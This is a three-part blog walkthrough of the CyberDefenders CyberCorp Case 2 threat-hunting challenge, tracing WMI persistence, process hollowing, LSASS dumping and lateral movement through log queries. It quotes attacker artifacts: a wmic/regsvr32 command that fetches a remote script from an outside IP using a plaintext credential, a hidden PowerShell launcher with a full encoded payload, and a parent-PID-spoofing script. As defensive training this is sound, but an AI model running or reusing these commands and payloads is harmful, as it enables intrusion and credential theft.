Cyber Corp Case 2 Writeup - Part 3

The second case of the CyberCorp challenge on CyberDefenders.org is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This write-up is the third and final part of this walkthrough. You could read Part 1 here and Part 2 here.

Finding the post-reverse shell activity

Question 11. As a result of running a malicious code, which we talk about in questions 9 and 10, the attacker got a shell on the compromised host. Using this access, the attacker downloaded the Active Directory collection utility to the host in an encoded form. Specify a comma-separated, non-spaced link where the encoded version of the utility was downloaded and a SHA256 hash of the decoded version that was directly run by the attacker on the compromised host.

So from the question, I knew that the download happened after the reverse-shell was run. And so I changed the start date timestamp to Jun 22, 2021 @ 07:41:56.000. I also knew that because there was a downloaded file, there would definitely be "NetworkConnection" and "FileCreate" events that would happen afterward. And so, the query I've created is this:

event_type:FileCreate OR event_type:NetworkConnection

cyber-corp-case-2-writeup-part-3-01

The result shows cmd.exe creating a certutil.exe process. And the reason why this is suspicious is that certutil.exe can be used as an alternative way of downloading files from an external source. You can read more about this here.

The next event shows certutil.exe establishing a connection to an external IP and downloading the file chrome_installer.log2:data. This tells us the first half of the answer to the question.

The next step is to find out the SHA256 of the decoded version of the downloaded file. I then updated the timestamp to Jun 22, 2021 @ 07:46:10.000, which is the time the file was downloaded, and then used the query:

event_type:ProcessCreate AND enrich.ioa.max_severity:*

cyber-corp-case-2-writeup-part-3-02

We could see that cmd.exe created the process svchost.exe, but the suspicious thing is that the process' directory is c:\windows\temp\ which is highly unusual for svchost.exe to run from. We can easily assume that the previously downloaded chrome_installer.log2 was renamed to svchost.exe and this is the one that it ran. Getting the hash for this file will give us the second half of our answer to this question.

Finding the dump file

Question 12. During the post-exploitation process, the attacker used one of the standard Windows utilities to create a memory dump of a sensitive system process that contains credentials of active users in the system. Specify the name of the executable file of the utility used and the name of the memory dump file created, separated by a comma without spaces.

Without changing the date range and the query from the previous question, I continued to investigate the other events that have a value of high in its enrich.ioa.max_severity field. The event below happened a few seconds after the event from the previous question.

cyber-corp-case-2-writeup-part-3-03

From the enrich.ioa.rules field we can see the value win_memory_dumping_via_comsvcs_minidump. What happened was that rundll32.exe executed the comsvs.dll and dumped the LSASS memory into a dump file. You can learn more about this technique here. Here is that technique visualized with my vATT&CK tool:

cyber-corp-case-2-writeup-part-3-04

From the information above, we now have what we need to answer the question.

Detecting lateral movement

Question 13. Presumably, the attacker extracted the password of one of the privileged accounts from the memory dump we discussed in the previous question and used it to run a malicious code on one of the domain controllers. What account are we talking about? Specify its username and password as the answer in login:password format.

The first thing I wanted to find out was to figure out what the IP of the domain controller is. I knew that there is a Windows event ID 5308 (Microsoft-Windows-Group-Policy) that lists the domain controller details. So I made a query based on that and also added in search for the texts "domain" and "controller".

event_id:5308 AND ("domain" OR "controller")

And this gave me exactly what I was looking for:

Domain Controller details: 
    Domain Controller Name : DC01-CYBERCORP.cybercorp.com
    Domain Controller IP Address : 192.168.184.100

Now that I know the IP, I can now search for any events related to this IP:

net_dst_ipv4:192.168.184.100 AND enrich.ioa.max_severity:*

cyber-corp-case-2-writeup-part-3-05

As we can see, we have a wmic command that passes the username and password to the domain controller's IP. This answers question 13.

Side Quest: Tracing the next steps

I wanted to find out what exactly happens when the command line from the previous question is run:

wmic /node:192.168.184.100 /user:inventory /password:jschindler35 process call create 'regsvr32 /u /n /s /i:http://94.177.253.126:8080/Ec9KoccK.sct scrobj.dll'

From my research, I learned that this is using WMI to execute a process on a remote host. In this case, regsvr32 is called to execute the specified remote .sct file with scrobj.dll. More info about this technique here and here.

cyber-corp-case-2-writeup-part-3-06

The second group

Question 14. A compromised user account is a member of two Built-in privileged groups on the Domain Controller. The first group is the Administrators. Find the second group. Provide the SID of this group as an answer.

To solve this, we'll be needing to make a search query with the following information that we got from the previous questions:

  • inventory - The name of the compromised user account
  • DC01-CYBERCORP.cybercorp.com - The hostname of the domain controller
  • 192.168.184.100 - IP of the domain controller

("inventory" OR "group") AND "DC01-CYBERCORP.cybercorp.com" AND dev_ipv4:192.168.184.100 AND usr_tgt_name:Inventory

There will be a lot of entries, but the one below would have information that we need:

cyber-corp-case-2-writeup-part-3-07

The event lists the group membership information for the user inventory. Within the field usr_token_groups we can see the following information:

    %{S-1-5-21-3899523589-2416674273-2941457644-513}
    %{S-1-1-0}
    %{S-1-5-32-544}
    %{S-1-5-32-551}
    %{S-1-5-32-545}
    %{S-1-5-32-554}
    %{S-1-5-2}
    %{S-1-5-11}
    %{S-1-5-15}
    %{S-1-18-1}
    %{S-1-5-21-3899523589-2416674273-2941457644-1105}
    %{S-1-16-12288}

Based on this and this, User Token Groups contains the list of security identifiers for groups and that it holds both direct group membership and recursive list of nested groups. This means that the answer to our question is included in that list.

I decided to search for any mention of the SID format S-1-.... So I changed the query to this:

"S-1-*" AND groups AND "DC01-CYBERCORP.cybercorp.com" AND dev_ipv4:192.168.184.100

This revealed a new type of event_type value which is InventoryInfo, as shown below:

cyber-corp-case-2-writeup-part-3-08

This inventory info seems to be from an inventory collection tool, but I could not get more info more than that. What is important to us though is the dev_inventory field which contains:

...
{
    "sid": "S-1-5-32-544",
    "name": "BUILTIN\\Administrators",
    "members": [
        "CYBERCORP\\Administrator",
        "CYBERCORP\\Enterprise Admins",
        "CYBERCORP\\Domain Admins",
        "CYBERCORP\\inventory"
    ]
},
...
{
    "sid": "S-1-5-32-551",
    "name": "BUILTIN\\Backup Operators",
    "members": [
        "CYBERCORP\\backupsrv",
        "CYBERCORP\\inventory"
    ]
},
...

The information above shows us two groups that contain inventory as one of their members. The question mentions something about Administrators being the first group, then that means the other group is none other than Backup Operators. Getting the sid of this is our answer to this question.

The Second Reverse Shell

Question 15. As a result of malicious code execution on the domain controller using a compromised account, the attacker got a reverse shell on that host. This shell used a previously not seen IP address as the command center. Specify its address as the answer.

My initial approach was I set the start date to Jun 22, 2021 @ 08:21:22.000 which is the timestamp when the attacker was able to run a remote code on the domain controller (See question #13). I also searched for event_type with a value of NetworkConnection and made sure that the events only happened in the domain controller's IP.

event_type:NetworkConnection AND dev_ipv4:192.168.184.100

This, however, showed too many events. There are just too many network events and too little information in the question to sift through them all.

I knew from the hint that the format of the IP is XXX.XXX.XX.XX. This already helps a lot in narrowing our options, but I still wanted to find it without relying on the hint.

So I used a different approach. My thought process was to start from when the initial code was ran on the domain controller and go see what happened next. This code ran regsvr32 which executed an external script (See Question #13). We could use in our query, and so we get:

dev_ipv4:192.168.184.100 OR "regsvr32"

The results of this query was more revealing:

cyber-corp-case-2-writeup-part-3-09

The very first entry is our wmic event that used regsvr32. This is followed by a PowerShell script accessing lsass.exe and also injecting code into svchost.exe.

I then continued down the list of events to check for any outbound network connections with an IP that has not been previously seen. Unfortunately, the events are still too many to go through. Looking at the Top 5 values also wasn't of too much help.

Going back to the list of events we can see that immediately following the wmic event, there is a powershell process that accesses lsass.exe. It also has a very interesting entry under the proc_cmdline field:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -noni -c "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIADES+14CA7VWa2+bSBT9nEj5D6iyBCiOjV03yUaqtIAhxrVTU2z8qlVhGMPEw6MwxCbd/ve9Y0OaqmnVrrQIiXnc57ln5rLJI5fiOOLc8Sfuy9npychJnZATau51nauF7iUST05guZYlLp1zbzlhKSdJNw4dHK1ubtQ8TVFEj/PGLaJylqFwTTDKBJH7h5sGKEUX79f3yKXcF672qXFL4rVDSrFCddwAcRdy5LG9Qew6LJiGlRBMBf7jR15cXrRWDe1z7pBM4K0ioyhseITwIvdVZA7HRYIEfojdNM7iDW1McfS63ZhEmbNBd2DtAQ0RDWIv40VIA94U0TyNuGNCzMJxX+BhOEpjV/a8FGUZX+eWzPZytfpbWJaOP+QRxSFqGBFFaZxYKH3ALsoaPSfyCPqANivQsmiKI38liiD2EG+RUItyQurcn5gR7tCugu13lYTnSiA1oqlYh0q+lOgw9nKCjqr8C5FC+UV4KgoAdF/PTs9ONxVbvOI5WWB0sjyMEcQmjOIMH6TeclKdG4ITh8ZpAdPaOM2RuHpClqt9dus/125VoiDoZrCwtGPsrUChrGVto07MkG38nJRdtMER6haRE2K34p3wEsBoQ9AhvUYldgcxCXy5gbwuIsh3KEOM1fkHNS3E9ElXyTHxUCq7UKQMooL6id8HcyyCwBvREIUA0HEOxKttgO2oki4ZXlTe2RyEeJU4WVbnRjkcN7fOWcghyKtzcpThckvOaXwY8t/CHeaEYtfJaGVuJT4BWTpU4yijae5C0SD5sZUgFzuEYVHnethDSmFhv3LMv4iE6hAChwAsPUAlYIUhYFFGhRRihLKLDQtRI0wICkHicOx14vhwyEuiH5jj+MjjfwiwIvKRtQyLCoRn4UGBLRLTOmfjlML1wXB1s//i+9mlcYxCTVFZB6E6GUuloIzRtfU9o2OJyCH/lELuehqHipOhy87xehBeNTXcfTPqxo8yPJr+wbQVa2IvjKHXJ5ZBrbmGB5MgMHDL8GFeTDR/RKXk3Xjc61vdnpx298FGNjJD6ymF2VJkt4ev7L4ymYAeVgfm/d6QPSX0Z/5c3RmjYGaAI3XgGz58FSNwFWkh+YqkqwNLCTQsyb5l9sxOa2E0r4mCHy3DknvTJ39PfrROpzfbj+W7YV8O9Pee3mrrB/0t019sbwdd7TB32dycZxrWwI+mz007QFM7UaaavjDtxPDPd75pD5odPVBg3cD7QWI14Wm1+g+R9zgk149DCNe0F32MFoaPCl82ZdmaR8Ra71RZ7V49JHPJ2OoTWNuOjWhvrpOhV8x7zb/sIUZJLJuaLOsEjmMoO7tuszWN35n2G3OiSftiIu132n1zp+H+blt+J7eXl35z0xk1bcuIek6gQLxFv7PF/XPYCx1bmm+aNsOvq0XNx2hGnJHaism62Zrg7pWiGBj174Yu+axAzmDjjbmO1bYbbCAmw782/VkctZ0t2J36MkQH+UGdN30DdJSc4O3kfMZs9XdS2N9LLM6wfw2xtcsYZBoZsybEJ/e6lhrdWsas7SFdaZ67b18xygJna1vvGRN/1j2GTpoFDgGGQleorgQ9TvXyph/FmGkIAvs/2KI0QgTaKzTg6ljJhMQu6zPQEqDDHfsOa4MTGL5uvzgSuSdB8VvzqZZubhYQIhzU9X1jgCKfBnVp/1qSoJdI+44E6f1+UmqcFAIYqrNOBIgcrZKDVZGd21p6dfW/wlTeFQF8vF/D9G3tF7u/BZ1UZ6n+sPj9wh/h+KdZTx1MQdCCm46gY5t9KfmSDs9+QKAcUO1N+bBfyPc5vbiD35Kz038BKGgg/awKAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Decoding the base64 string would reveal a PowerShell script that has a hash that VirusTotal flags as malicious.

cyber-corp-case-2-writeup-part-3-11

This is a good indication that this PowerShell process is up to no good. Now we need to find out what other things this process did. The process has a PID of 4460, so plugging that into a query we get:

(proc_id:4460 OR proc_p_id:4460 OR proc_c_id:4460 OR proc_tgt_id:4460) AND dev_ipv4:192.168.184.100

And these are the results:

cyber-corp-case-2-writeup-part-3-12

Looking at the external IP that the process is connecting to, we could see that this is something new that we have not seen before. Thankfully, I had been making a list of all internal and external IPs that I came across during the challenge (Just shows the importance of writing down every information you come across!). Plugging this IP is our solution to this problem.


There we have it. We've gone through and answered all 15 questions. Congratulations if you've made it this far!

If you missed it, you could read Part 1 here and Part 2 here.

I hope that I was able to help you in understanding the process of solving this challenge. I had a lot of fun going through and writing about it. Again, thank you to @BlackMatter23 and the team for sharing this challenge and to CyberDefenders for hosting it.

Cyber Corp Case 2 Writeup - Part 2

The second case of the CyberCorp challenge on CyberDefenders.org is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This writeup is part 2 out of multiple parts. You could read Part 1 here and Part 3 here.

Checking DNS Requests

Question 6. Specify the domain name of the resource from which the files mentioned in question 5 were supposedly downloaded as a result of malicious code execution.

This one is easy. Using the same date range from the previous question, I changed the query to event_type:DNSReq (where "DNSReq" is short for "DNS Requests").

cyber-corp-case-2-writeup-part-2-01

We could easily see a DNS record being queried, which is our answer to this question.

Finding the encoded executable code

Question 7. The first file downloaded (as a result of executing the code in question 5) contained encoded executable code (PE), which after downloading was recorded in the registry. Specify an MD5 hash of the original representation of that code (PE).

I changed the query to registry hoping to see what events it will give me. Surprisingly, the very first one seems to be what we need.

cyber-corp-case-2-writeup-part-2-02

Looking at this log I saw that it has a base64 encoded data under reg_value_data which is partially listed below:

H4sIAAAAAAAEAO1YX0wcRRz+7XEUCuWOkhCJGl3IRiGpV...

I sent this data to CyberChef for decoding. Thankfully the rule_name field also informed me that the data is "gzipped", this allowed me to pick the correct recipes for decoding. The output is a malicious executable based on the MZ "magic-number" at the beginning of the file.

I downloaded the decoded data and then got the SHA256 hash of that file. This gave me the answer to the question.

Side Quest: Investigating the malware

I wanted to learn more about the malicious executable from the previous question so I decided to reverse engineer it, even though it was not part of the challenge.

cyber-corp-case-2-writeup-part-2-03

Some interesting things about the file include the imported functions from kernel32 listed below:

cyber-corp-case-2-writeup-part-2-04

And also a string for rundll32.exe. Looking for the usage of this string from within the code reveals this code segment:

cyber-corp-case-2-writeup-part-2-06

Stepping through the code I was able to figure out that this executable is executing a process hollowing technique (T1055.012). What it does is that it injects the code pointed to by unk_180003000 into rundll32.exe and it would run that code instead of the original rundll32 code. You can find out more technical info about it here.

And of course, a screenshot of the technique using my visualization tool vATT&Ck.

cyber-corp-case-2-writeup-part-2-13

The second downloaded file

Question 8. The second file downloaded (as a result of code execution, which we talked about in question 5) was a script, that was set up to autostart via WMI Subscription. Specify the SHA256 hash of this script.

I already knew of the script that is set to start via WMI subscription from a previous question, and that is C:\\Users\\john.goldberg\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.ps1. So I immediately crafted my query to the one below:

"MSO1033.ps1" AND event_type:FileCreate

While the above query shows events where the MSO1033.ps1 was being created. There was no associated hash in the logs. This forced me to look elsewhere by updating the query to:

"MSO1033.ps1" AND (event_type:FileCreate OR event_type:FileOpen)

And from here it showed me an event associated with MSO1033.ps1 that also has a sha256 hash.

cyber-corp-case-2-writeup-part-2-07

The most difficult question

Question 9. The script, mentioned in question 8, spawned one of the legitimate system processes and injected into its memory a malicious code that was read and decoded from the registry (this code was mentioned in question 7). This malicious code migrated through a chain of code injections to the address space of another legitimate process, where it continued to run without further migration. For this answer, provide the next data, separated by a comma without spaces:

  • PID of the initial legitimate system process, which was spawned by the script and where this script launched in-memory execution of malicious code;

  • PID of the target process, to which malicious code migrated from the initial process and in the context of which attacker performed different post-exploitation activity

Out of all the questions in this challenge, this is the question that took me a long time to figure out. The question has a lot of threads of information that it is easy to fall into a trap of chasing a lead that doesn't go anywhere.

When all of my ideas were exhausted, I decided to give in and look for a hint. Thankfully, Vikas from the CyberDefender's Discord group shared one.

cyber-corp-case-2-writeup-part-2-08

Initially the line "if you happen to see the PS script there are mentions of PID spoofing" did not immediately register with me, but after thinking about it some more I realized that it meant that the "PID spoofing" is written inside the script itself! This script is MSO1033.ps1 which was part of the previous questions.

And so I updated my query with the one below:

"MSO1033.ps1" AND event_type:ScriptExecution AND enrich.ioa.max_severity:*

Which showed the following results:

cyber-corp-case-2-writeup-part-2-09

The reason why the following events are interesting is that they contain the script inside the script_text value. Since the script is too long the events are split into 7 events as indicated by the [1 of 7] in the description. I then copied all the script_text entries and placed them into one file so I can easily review the code.

The hint mentioned something about pid spoofing so I searched for the word spoof in the code and found this part right here.

[int]$ppid = Get-Process -Name "winlogon" | Select -expand ID
$spawnTo = "c:\Windows\System32\dwm.exe"
$currdir = "c:\Windows\System32"
$cmdline = "dwm.exe"
$sInfo = New-Object StartupInfo
$sInfoEx = New-Object STARTUPINFOEX
$pInfo = New-Object PROCESS_INFORMATION
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
$sInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($sInfoEx)
$lpSize = [IntPtr]::Zero
$sInfoEx.StartupInfo = $sInfo
$hSpoofParent = [Kernel32]::OpenProcess(0x1fffff, 0, $ppid)
$lpValue = [IntPtr]::Zero
$lpValue = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size)
[System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValue, $hSpoofParent)
$result1 = [Kernel32]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$lpSize)
$sInfoEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize)
$result1 = [Kernel32]::InitializeProcThreadAttributeList($sInfoEx.lpAttributeList, 1, 0, [ref]$lpSize)
$result1 = [Kernel32]::UpdateProcThreadAttribute($sInfoEx.lpAttributeList, 
                                                 0, 
                                                 0x00020000,
                                                 $lpValue, 
                                                 [IntPtr]::Size, 
                                                 [IntPtr]::Zero, 
                                                 [IntPtr]::Zero) 
$result1 = [Kernel32]::CreateProcess($spawnTo, 
                                     $cmdline, 
                                     [ref]$SecAttr, 
                                     [ref]$SecAttr, 
                                     0,
                                     0x08080004,
                                     [IntPtr]::Zero, 
                                     $currdir, 
                                     [ref] $sInfoEx, 
                                     [ref] $pInfo)

Reading the code we could see a couple of interesting things:

  • A call to CreateProcess function with a reference to $spawnTo
  • $spawnTo set to c:\Windows\System32\dwm.exe
  • The line with $hSpoofParent using the variable $ppid
  • $ppid is set to a process with the name winlogon

My research on the above findings pointed me to the Parent PID Spoofing technique (T1134.004). This is used for evading detection by spoofing the PID to a different process. What is happening, in this case, is that dwm.exe would now appear to be a child process of winlogon.exe instead of the PowerShell script. Brilliant!

Also, not shown in the snippet above, the registry key for AppXs42fd12c3po92dynnq2r142fs12qhvsmvv is also read and decoded. This means that our executable file that contains the rundll32.exe string is also involved in this. Later on, it will be revealed what this is for.

Now that we know what the script does, we can now search for any mention of winlogon.exe and dwm.exe using the query below:

(winlogon.exe OR dwm.exe) AND enrich.ioa.max_severity:* AND event_type:ProcessCreate

This, however, showed more than one result.

cyber-corp-case-2-writeup-part-2-10

Which among these is the PID pair that the challenge author is looking for?

Looking at all the multiple events, it seems that the script has been executed multiple times so it's hard to determine which is the correct event. All of them were executed successfully, but I found that only one of them was able to create the rundll32.exe process.

cyber-corp-case-2-writeup-part-2-12

The process id of the dwm.exe in the screenshot above shows 8876. Using this information, we can go back to the previous query and find exactly which PID pairs that we need to answer the question.

Getting the malicious IP

Question 10. The malicious code run by the script is a Reverse Shell. Identify the IP address and port number of its command center.

Aha! So the malicious code that we inspected before, the one that does process hollowing, is now running inside rundll32.exe and is running as a reverse shell!

I already knew the process ID of our malicious rundll32.exe so we include that in our query:

8344 AND event_type:NetworkConnection

This will reveal an event with the process chain of dwm.exe > rundll32.exe which also establishes a connection to an external IP. This is our answer to this question.

cyber-corp-case-2-writeup-part-2-11

Understanding the sequence of events

For the benefit of everyone (including me), I have outlined the timeline of events below to serve as a reference just in case you get confused and overwhelmed:

  • Jun 22, 2021 @ 07:25:47.000 - WMI Subscription
  • Jun 22, 2021 @ 07:41:15.000 - MSO1033.ps1 (7324) was executed
  • Jun 22, 2021 @ 07:41:55.000 - winlogon.exe (1160) is now the spoofed parent process of dwm.exe (8876) instead of MSO1033.ps1
  • Jun 22, 2021 @ 07:41:56.000 - dwm.exe (8876) creates the process rundll32.exe (8344), which is hollowed out and now runs as a reverse shell
  • Jun 22, 2021 @ 07:41:56.000 - rundll32.exe (8344) establishes connection to malicious IP

Hopefully, I was able to make everything clear. Expect the next part of this write-up very soon.

The next couple of questions deals with lateral movement and interactions with the domain controller so it would be very interesting to go through my findings in detail.

Cyber Corp Case 2 Writeup - Part 1

The second case of the CyberCorp challenge on CyberDefenders.org is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This writeup is part one out of multiple parts as I will be detailing my thought process and the steps I took for each question.

Edit: Part 2 and Part 3 is now out.

Understanding WMI Persistence

Question 1. The Threat Hunting process usually starts with the analyst making a hypothesis about a possible compromise vector or techniques used by an attacker. In this scenario, your initial hypothesis is as follows: "The attacker used the WMI subscription mechanism to obtain persistence within the infrastructure". Verify this hypothesis and find the name of the WMI Event Consumer used by the attacker to maintain his foothold.

So the question tells us that the attacker used WMI subscription to gain persistence in our network.

The very first thing I did was to check the Mitre ATT&CK wiki for information about this attack. My search led me to the "Event Triggered Execution: Windows Management Instrumentation Event Subscription" with technique ID T1546.003. And, of course, I fired up my vATT&CK tool to better visualize the technique and its related information.

cyber-corp-case-2-writeup-01

Testing WMI Persistence in my homelab

Now that I understand the concept I then checked the technique's entry in the Atomic Red Team's repository of adversary emulation techniques. The nice thing about Atomic Red Team is that they have easy-to-follow step-by-step instructions on how to emulate Mitre ATT&CK techniques.

I took the code on the page and ran it in my homelab. I then fired up Windows Event Viewer and looked for entries with event log ID "5681 (WMI activity)". The entry that I found contains the information below:

Namespace = //./root/subscription; Eventfilter = AtomicRedTeam-WMIPersistence-Example (refer to its activate eventid:5859); Consumer = CommandLineEventConsumer="AtomicRedTeam-WMIPersistence-Example"; PossibleCause = Binding EventFilter: 
instance of __EventFilter
{
    CreatorSID = {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 96, 158, 195, 131, 63, 242, 87, 184, 137, 245, 68, 134, 233, 3, 0, 0};
    EventNamespace = "root\\CimV2";
    Name = "AtomicRedTeam-WMIPersistence-Example";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325";
    QueryLanguage = "WQL";
};
Perm. Consumer: 
instance of CommandLineEventConsumer
{
    CommandLineTemplate = "C:\\Windows\\System32\\notepad.exe";
    CreatorSID = {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 96, 158, 195, 131, 63, 242, 87, 184, 137, 245, 68, 134, 233, 3, 0, 0};
    Name = "AtomicRedTeam-WMIPersistence-Example";
};

Since I have Sysmon logging enabled, I also double-checked the logs using the Sysmon event IDs below:

  • Event ID 19: WmiEvent (WmiEventFilter activity detected)
  • Event ID 20: WmiEvent (WmiEventConsumer activity detected)
  • Event ID 21: WmiEvent (WmiEventConsumerToFilter activity

cyber-corp-case-2-writeup-02

As we can see, Sysmon separates the WMIEvents into the different types of WmiEvent activities.

Now that I know what the important IOCs are, I could now create the query to answer the first question of the challenge.

  • 5861
  • ("QueryLanguage = " AND "Consumer = ")

When the above information is combined, I get the query 5861 OR ("QueryLanguage = " AND "Consumer = "). Putting this in the Kibana search shows us the one and only entry:

cyber-corp-case-2-writeup-03

From there we could easily see the name of the WMI Event Consumer.

Looking for the WMI subscriber

Question 2. In the previous step, you looked for traces of the attacker's persistence in the compromised system through a WMI subscription mechanism. Now find the process that installed the WMI subscription. Answer the question by specifying the PID of that process and the name of its executable file, separated by a comma without spaces.

Reading the question above, I knew that I needed to look for a process that has happened prior to the WMI subscription. And so, I've set the date range to reflect this.

cyber-corp-case-2-writeup-04

I wasn't so sure what to look for next so I just looked out for anything suspicious. Thankfully there is the enrich.ioa.* set of fields where enrichment is done that indicate suspiciousness. I've set a filter to show entries that have enrich.ioa.max_severity to exists. This means it'll only show events that are either high, medium, or low.

These showed some very interesting events:

cyber-corp-case-2-writeup-05

It seems like winword.exe is connecting to an external IP. Very suspicious. Searching the IP 188.135.15.49 on VirusTotal reveals that it is indeed malicious.

cyber-corp-case-2-writeup-06

If we look at more of the events we will find that there are a lot of malicious activity with the proc_cmdline that contains the value:

"C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /n "C:!Work\Marketing\Docs\OPEC\OPEC crude oil production.docx" /o ""

Having seen all of that we can now safely assume that this is the process that we are looking for. Entering the proc_id along with the proc's file name satisfies question number 2.

Looking for the extracted archive

Question 3. The process described in the previous question was used to open a file extracted from the archive that the user received by email. Specify a SHA256 hash of the file extracted and opened from the archive.

The question said something about a file being opened, and so I added the filters event_type: FileOpen and proc_file_path: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE to see what files were opened using Word.exe prior to the WMI subscription. This however showed a lot of files.

cyber-corp-case-2-writeup-07

The question also mentioned that the opened file was extracted from an archive received by email. So I added the query *zip* OR *rar* to find out if there are any "zip" or "rar" files that were processed.

Sure enough, there was, and one particular really stood out.

Process 'c:\program files (x86)\microsoft office\office16\outlook.exe' created file 'c:\users\john.goldberg\appdata\local\microsoft\windows\inetcache\content.outlook\dfn3sfep\report.zip'

This tells us that the archive report.zip was opened via email using the program outlook.exe.

But what was the generated file when the archive was opened? Looking through the results we could also see one entry that had the enrich.chain with the value of:

'c:\windows\explorer.exe' ➔ 'c:\program files (x86)\microsoft office\office16\winword.exe' ➔ 'c:\users\john.goldberg\appdata\local\temp\temp1_report.zip\market forecast emea.docx'`.

"Market forecaste emea.docx" was opened via "winword.exe" and we could also see that the temporary folder for it is temp1_report.zip. Entering the hash for this "docx" file was the correct answer for this question.

Finding the actual malicious file

Question 4. The file mentioned in question 3, is not malicious in and of itself, but when it is opened, another file is downloaded from the Internet that already contains the malicious code. Answer the question by specifying the address, from which this file was downloaded, and the SHA256 hash of the downloaded file, separated by commas without spaces.

If we think about it, we can make the date range smaller by starting our range from when the Zip is extracted and from when the WMI subscription happened.

cyber-corp-case-2-writeup-08

There are three "action" keywords specified in the question that I knew I could filter for. This led me to use the query below:

event_type:NetworkConnection OR event_type:FileOpen OR event_type:FileCreate

What I'm looking for is an event where there is a "NetworkConnection" and a "FileCreate" event (these two signify another file is downloaded from the internet), the "FileOpen" is when the file has been opened and therefore triggered the WMI subscription.

As you can see in the image below, we have a series of events that shows us the three events that we are looking for in the previous paragraph. But because their timestamps are the same, they are all jumbled.

cyber-corp-case-2-writeup-09

The way to see if the events happened in the order that we want (Network Connection > FileCreate > FileOpen), then what we can do is to view the surrounding documents on one of the events and see from there. From the image below, we see that the ordering of the events is indeed correct.

cyber-corp-case-2-writeup-10

The above tells us two of the answers that we need to answer the 4th question. The IP on the network connection and the hash of the file that was opened.

Finding the tricky technique

Question 5. The malicious code from the file, mentioned in question 4, directly installed a WMI subscription, which we started our hunting with, and also downloaded several files from the Internet to the compromised host. For file downloading, the attacker used a tricky technique that gave him the opportunity to hide the real process, which initiated the corresponding network activity. Specify the SHA256 hash of the operating system component whose functionality was used by the attacker to download files from the Internet.

So the event that the question is looking for happened after the WMI subscription. I've updated the date range to reflect this.

cyber-corp-case-2-writeup-part-1-11

Initially, I tried doing the same approach as I did before where I would pick up certain "action" keywords from the question. Something similar to the query below:

(event_type:NetworkConnection OR event_type:FileCreate) AND enrich.ioa.max_severity:*

Sadly, no matter where I looked it doesn't seem to be what the question is looking for.

And so, I had to start my search from scratch but this time only focusing on any entries after the WMI subscription that have an existing value in enrich.ioa.max_severity. This approach worked and it showed me this very interesting entry marked as win_unusual_ie_com_dll_host_process.

cyber-corp-case-2-writeup-part-1-12

So apparently, "winword.exe" loaded the library "iexproxy.dll", which allowed it to use "iexplore.exe" in downloading several files from the internet. This technique is unfamiliar to me and researching about it only showed an article from Cyber Polygon. I'll try to explore this in the future, but at least for now. I have the answer to the question.


This is part 1 of my write-up for this challenge. Expect the next part which would have the answer to the question that a lot of people have difficulty answering, which is #9. Until then!

Edit: Part 2 and Part 3 is now out.